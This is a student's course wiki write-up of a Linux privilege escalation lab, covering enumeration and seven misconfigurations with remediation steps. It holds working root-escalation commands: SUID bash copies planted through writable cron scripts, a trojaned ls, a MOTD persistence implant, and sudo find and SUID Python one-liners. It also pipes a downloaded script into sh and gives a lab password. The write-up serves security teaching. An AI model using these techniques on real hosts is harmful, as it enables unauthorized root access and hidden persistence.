Skip to content

Week 7 Lab

wetzel7 edited this page Oct 15, 2026 · 5 revisions

SEC-335 Linux Privilege Escalation Lab

Phase 0: Foothold and Enumeration

A threat actor starts with an unprivileged shell (for example after phishing or credential theft). The first step is enumeration: mapping what is misconfigured, unusual, or writable.

Connect and confirm identity

ssh -p 10001 bthomas@192.168.3.205
id; sudo -l
  • ssh -p 10001 bthomas@192.168.3.205 opens a remote shell; -p selects the per-container port (ws-01 = 10001, ws-02 = 10002, and so on). Password: ChamplainPickles1.
  • id shows uid, gid and groups. Expect uid=1001(bthomas) and groups=...,1002(lab). Not root, not in sudo.
  • ; runs the next command afterward. sudo -l lists what you may run as root without executing anything. (V2 shows up here.)
image

Automated discovery: linpeas.sh

curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# offline alternative: scp linpeas.sh to the container, then:
bash linpeas.sh
  • curl downloads a URL; -s silences progress output; -L follows redirects.
  • | pipes the downloaded script straight into sh, which executes it.
  • linpeas color-codes findings by likelihood of leading to root. Red/yellow items map to this lab's vectors.
image

Linpeas Running Video

This video was recorded of the execution, and was my reference instead of scrolling through the terminal window to see what was what

linpeas section Lab vector it reveals
SUID binaries V7 (/opt/lab/bin/python3 stands out from stock /usr/bin/*)
sudo (sudo -l output) V2 (NOPASSWD: /usr/bin/find /opt/lab/tools/*)
Cron jobs and writable cron files V1, V3, V4 (/etc/cron.d/lab-*, world-writable scripts, missing agent binary)
Writable PATH dirs / PATH abuse V5 (/etc/profile.d/lab-path.sh adds /opt/lab/bin)
World-writable directories V1, V4, V5, V6

Manual enumeration

id; sudo -l                                         # who am I, what can I run as root?
find / -perm -4000 -type f 2>/dev/null              # SUID binaries -> V7
ls -la /etc/cron.d/ /etc/crontab                    # root-scheduled jobs -> V1, V3, V4
grep -R "" /etc/cron.d/ 2>/dev/null                 # which scripts root runs
find /opt /usr/local /etc -writable -type d 2>/dev/null   # writable dirs -> V1, V4, V5, V6
find /opt /etc -writable -type f 2>/dev/null        # writable root-owned files -> V3
cat /etc/profile.d/*.sh                             # PATH manipulation -> V5
Command What it does
find / -perm -4000 -type f Searches the whole filesystem for regular files with the SUID bit (-perm -4000). Expect stock sudo, su, mount, plus the anomaly /opt/lab/bin/python3.
2>/dev/null Redirects the error stream (2) to the discard device so "Permission denied" noise is hidden.
ls -la /etc/cron.d/ /etc/crontab Long listing (-l) including hidden files (-a) of the scheduler's job files. Look for lab-*.
grep -R "" /etc/cron.d/ -R recurses; the empty pattern matches every line, so it prints every job line.
find ... -writable -type d Directories (-type d) that your account may write to.
find ... -writable -type f Regular files you may rewrite. A root-run file you can rewrite is V3.
cat /etc/profile.d/*.sh Prints login-time scripts; the *.sh glob expands to every .sh file. V5 hides here.
image image image image image image image image image image image image image

The seven vectors identified

# Vector Where it was found Evidence
V1 Writable directory + root cron /etc/cron.d/lab-backup, /opt/lab/bin /opt/lab/bin is drwxrwxrwx; root runs backup.sh every 5 min
V2 sudo NOPASSWD wildcard (find) sudo -l, /etc/sudoers.d/lab-find (ALL) NOPASSWD: /usr/bin/find /opt/lab/tools/*
V3 World-writable root cron script /etc/cron.d/lab-rotate /opt/lab/scripts/rotate.sh is -rwxrwxrwx
V4 Missing binary on writable path /etc/cron.d/lab-agent /opt/lab/bin/agent does not exist; directory is 0777
V5 Root PATH hijack /etc/profile.d/lab-path.sh export PATH="/opt/lab/bin:$PATH"
V6 World-writable MOTD directory /etc/update-motd.d/ Directory is drwxrwxrwx; scripts run as root at login
V7 SUID Python find / -perm -4000 /opt/lab/bin/python3 is -rwsr-xr-x root root

V1: Writable Directory + Root Cron

Misconfiguration: /opt/lab/bin is mode 0777, and root runs /opt/lab/bin/backup.sh every 5 minutes via /etc/cron.d/lab-backup.

Weakness exploited: The cron schedule and owner are safe, but the contents of the script are not. Because the script and its directory are world-writable, an ordinary user can change what root executes on the next run.

Discovery

cat /etc/cron.d/lab-backup
ls -la /opt/lab/bin/
  • The cron line */5 * * * * root /opt/lab/bin/backup.sh means: every 5 minutes, as root, run that script.
  • drwxrwxrwx on /opt/lab/bin and -rwxrwxrwx on backup.sh mean anyone may modify the script.
image

Exploitation

cat > /opt/lab/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
EOF
  • cat > file <<'EOF' is a heredoc: it overwrites the file with the lines that follow until EOF. Quoting 'EOF' stops $ expansion.
  • #!/bin/bash is the shebang that selects the interpreter.
  • cp /bin/bash /tmp/rootshell copies the system shell. && runs the next command only if the copy succeeded.
  • chmod u+s /tmp/rootshell sets the SUID bit. Since cron runs this as root, the copy is root-owned and SUID. Wait up to 5 minutes for the */5 schedule.
/tmp/rootshell -p
id
  • -p makes bash keep its privileged effective UID instead of dropping to your real user.
  • id should print uid=0(root).

ss -plunt with the last line showing you are root and your hostname visible. Run it from the root shell:

ss -plunt

Proof

image

Remediation

Scripts run by root should be owned by root and mode 0755. Script directories must be root-writable only (0755, root:root). World-writable directories must never sit next to anything root executes.


V2: sudo NOPASSWD Wildcard (find)

Misconfiguration: /etc/sudoers.d/lab-find contains:

%lab ALL=(ALL) NOPASSWD: /usr/bin/find /opt/lab/tools/*

Reading it: %lab = group lab; ALL = any host; (ALL) = as any user; NOPASSWD = no password; the rest is the supposedly allowed command.

Weakness exploited: The * wildcard matches any arguments, and find has -exec, which runs arbitrary programs. A "narrow" rule therefore grants a full root shell (documented on GTFOBins).

Discovery

sudo -l

sudo -l lists your sudo rights without running anything.

image

Exploitation

sudo find /opt/lab/tools/ -exec /bin/bash -p \;
id
  • sudo find ... runs find as root, which the rule allows.
  • -exec /bin/bash -p \; runs bash for each result; -p preserves the root effective UID.
  • \; ends the -exec command; the backslash stops your own shell from consuming the semicolon.
  • No waiting is needed; sudo grants root immediately.

Proof (single screenshot)

Show the find command, the id command, root output, and your hostname.

image

Remediation

No wildcards in sudoers command lists. Allow exact binaries with fixed arguments, or a reviewed wrapper script. Make sudo -l the first step of any enumeration.


V3: World-Writable Root Cron Script

Misconfiguration: /opt/lab/scripts/rotate.sh is mode 0777 and run by root every 5 minutes via /etc/cron.d/lab-rotate.

Weakness exploited: The contents of a root-executed file matter, not just its path. Mode 0777 lets anyone rewrite what root will run. (Lab note from the guide: mode 666 would remove the execute bit and break the benign script, so 777 was required.)

Discovery

ls -la /opt/lab/scripts/rotate.sh
cat /etc/cron.d/lab-rotate
find / -perm -0002 -type f 2>/dev/null | grep -v -E '^/(proc|sys|dev|run|tmp|var/tmp)'
  • -perm -0002 matches files with the "other write" bit set (world-writable).
  • grep -v -E '^/(proc|sys|dev|run|tmp|var/tmp)' hides expected noisy paths (-v inverts the match, -E enables extended regex, ^ anchors to line start).
image

Exploitation

cat > /opt/lab/scripts/rotate.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
EOF

Only the contents change, so the file stays executable and no chmod +x is needed. Wait up to 5 minutes.

/tmp/rootshell -p
id

Proof (single screenshot)

One image showing the output of the script you created, /tmp/rootshell -p, id, and your hostname.

image

Remediation

Root-run scripts must be owned by root and mode 0755. Audit cron-referenced files for their modes regularly; a world-writable file referenced from /etc/cron.d/ is an incident, not a finding.


V4: Missing Binary on a Writable Path

Misconfiguration: /etc/cron.d/lab-agent runs /opt/lab/bin/agent, which does not exist, inside the world-writable /opt/lab/bin.

Weakness exploited: Cron runs whatever is at that path, as root, regardless of who created it. A dangling reference in a location attackers control is an invitation to plant the binary.

Discovery

cat /etc/cron.d/lab-agent
ls -la /opt/lab/bin/agent
ls -ld /opt/lab/bin
  • ls -la /opt/lab/bin/agent returning No such file or directory is the finding.
  • ls -ld shows the directory's own attributes (-d) rather than its contents; drwxrwxrwx means you can create files there.
image

Exploitation

cat > /opt/lab/bin/agent <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
EOF
chmod +x /opt/lab/bin/agent

chmod +x is required because a new file has no execute bit and cron will not run a non-executable file. Wait up to 5 minutes.

/tmp/rootshell -p
id

Proof (single screenshot)

One image showing the output of the agent script you created, /tmp/rootshell -p, id, and your hostname.

image

Remediation

Every binary referenced by cron must live in a root-only-writable directory. Monitor for schedule entries that reference missing files.


V5: Root PATH Hijack (profile.d)

Misconfiguration: /etc/profile.d/lab-path.sh prepends the world-writable /opt/lab/bin to the login-shell PATH:

export PATH="/opt/lab/bin:$PATH"

Weakness exploited: The shell runs the first match for a bare command name. With a writable directory first in root's PATH, a planted ls runs with root privileges whenever root runs ls in a login shell. You are attacking lookup order, not a program.

Discovery

cat /etc/profile.d/lab-path.sh
echo $PATH
ls -ld /opt/lab/bin
image

Exploitation

cat > /opt/lab/bin/ls <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
exec /usr/bin/ls "$@"
EOF
chmod +x /opt/lab/bin/ls
  • exec /usr/bin/ls "$@" replaces the script with the real ls and passes along every argument, so the user notices nothing.
  • chmod +x is needed, otherwise the shell skips the file and finds the real ls further down PATH. Trigger: the payload fires the next time root starts a login shell (for example su -, bash -l, or a new SSH session as root) and runs a bare ls.

Trigger method used: bthomas can't log in as root directly, so I simulated the root login from a root shell I already had via V2. From that shell I ran su - (a root login shell, which applies /etc/profile.d/lab-path.sh) and then ls, which ran my planted script as root.

sudo find /opt/lab/tools/ -exec /bin/bash -p \;   # root shell via V2
rm -f /tmp/rootshell                              # clear the old copy so the timestamp proves this trigger
su -                                              # root login shell
ls                                                # planted ls runs as root
exit                                              # repeat until back at bthomas@ws-01
stat /tmp/rootshell                               # fresh timestamp, root-owned, SUID (mode 4755)
/tmp/rootshell -p
id

stat is used instead of ls -la because the planted ls would run as bthomas and print a cp permission error.

Proof (single screenshot)

One image showing the output of the planted script in /opt/lab/bin/, /tmp/rootshell -p, id, and your hostname.

image

Remediation

PATH for privileged shells must contain only trusted, root-owned directories. sudo does this via secure_path; /etc/profile.d must be audited the same way. Never put world-writable directories in any PATH root inherits.


V6: World-Writable MOTD Directory

Misconfiguration: /etc/update-motd.d/ is mode 0777.

Weakness exploited: pam_motd rebuilds the login banner at every SSH login by running the scripts in this directory as root. A writable directory lets you add your own script, which then runs as root on every login until removed (so this is also a persistence lesson).

Discovery

ls -ld /etc/update-motd.d/
ls -la /etc/update-motd.d/

Number prefixes (00-, 10-, 90-) set run order; a 99- name runs last.

image

Exploitation

cat > /etc/update-motd.d/99-lab-pwn <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
EOF
chmod +x /etc/update-motd.d/99-lab-pwn

chmod +x is required because pam_motd only runs executable files. Trigger by logging in again over SSH:

ssh -p 10001 bthomas@192.168.3.205
ls -la /tmp/rootshell
/tmp/rootshell -p
id

Proof (Single Screenshot)

One image showing the planted script output, the SSH login, ls -la /tmp/rootshell, /tmp/rootshell -p, id, and your hostname.

image

Persistence and cleanup

The implant survives every login until removed:

rm /etc/update-motd.d/99-lab-pwn

Remediation

/etc/update-motd.d must be root:root 0755. Anything else turns every login into a root execution event for all users.


V7: SUID Python

Misconfiguration: /opt/lab/bin/python3 is a full copy of Python 3.10 with the SUID bit set, owned by root.

Weakness exploited: SUID makes a program run with its owner's privileges. A general-purpose interpreter can open files and run commands, so a SUID Python is effectively a root shell. Legitimate SUID tools like sudo are written to drop privileges; interpreters are not (documented on GTFOBins).

Discovery

find / -perm -4000 -type f 2>/dev/null
ls -la /opt/lab/bin/python3

Stock results are /usr/bin/sudo, /usr/bin/su, /usr/bin/mount. The anomaly is /opt/lab/bin/python3; the s in -rwsr-xr-x is the SUID bit.

image

Exploitation

/opt/lab/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
id
  • -c runs the following text as a Python program.
  • Single quotes stop your shell from interpreting the Python code.
  • os.setuid(0) promotes the real UID to 0; this is allowed because the effective UID is already 0 via SUID.
  • os.system("/bin/bash") starts a shell inside that now-root process.

Proof (single screenshot)

One image showing the one-liner, the id output (uid=0), and your hostname.

image

Remediation

Never set SUID on scripting interpreters; remove it with chmod u-s /opt/lab/bin/python3. Treat any SUID binary outside /usr/bin, /usr/sbin, /bin, /sbin with suspicion.


Summary Table

# Vector Discovery shortcut Exploit (one line) Wait Root achieved
V1 Writable dir + root cron cat /etc/cron.d/lab-backup overwrite backup.sh up to 5 min [ x ]
V2 sudo NOPASSWD find sudo -l sudo find ... -exec /bin/bash -p \; none [ x ]
V3 Writable cron script find / -perm -0002 -type f overwrite rotate.sh up to 5 min [ x ]
V4 Missing cron binary cron references nonexistent file plant /opt/lab/bin/agent up to 5 min [ x ]
V5 Root PATH hijack cat /etc/profile.d/lab-path.sh plant /opt/lab/bin/ls next root login shell [ x ]
V6 Writable MOTD dir ls -ld /etc/update-motd.d drop 99-lab-pwn next SSH login [ x ]
V7 SUID Python find / -perm -4000 python3 -c 'import os; os.setuid(0); ...' none [ x ]

Cleanup

The host is shared by 25 students, so leave the lab as vulnerable as you found it.

rm -f /tmp/rootshell /tmp/pwned_*
rm -f /etc/update-motd.d/99-lab-pwn
# only if your instructor asks:
rm -f /opt/lab/bin/agent /opt/lab/bin/ls
# restore backup.sh and rotate.sh to their original contents

References

  1. GTFOBins, "find": https://gtfobins.github.io/gtfobins/find/
  2. GTFOBins, "python": https://gtfobins.github.io/gtfobins/python/
  3. PEASS-ng (linpeas.sh): https://github.com/peass-ng/PEASS-ng
  4. GNU findutils manual: https://www.gnu.org/software/findutils/manual/html_node/find_html/
  5. sudoers(5): https://www.sudo.ws/docs/man/sudoers.man/
  6. crontab(5): https://man7.org/linux/man-pages/man5/crontab.5.html
  7. pam_motd(8): https://man7.org/linux/man-pages/man8/pam_motd.8.html

Clone this wiki locally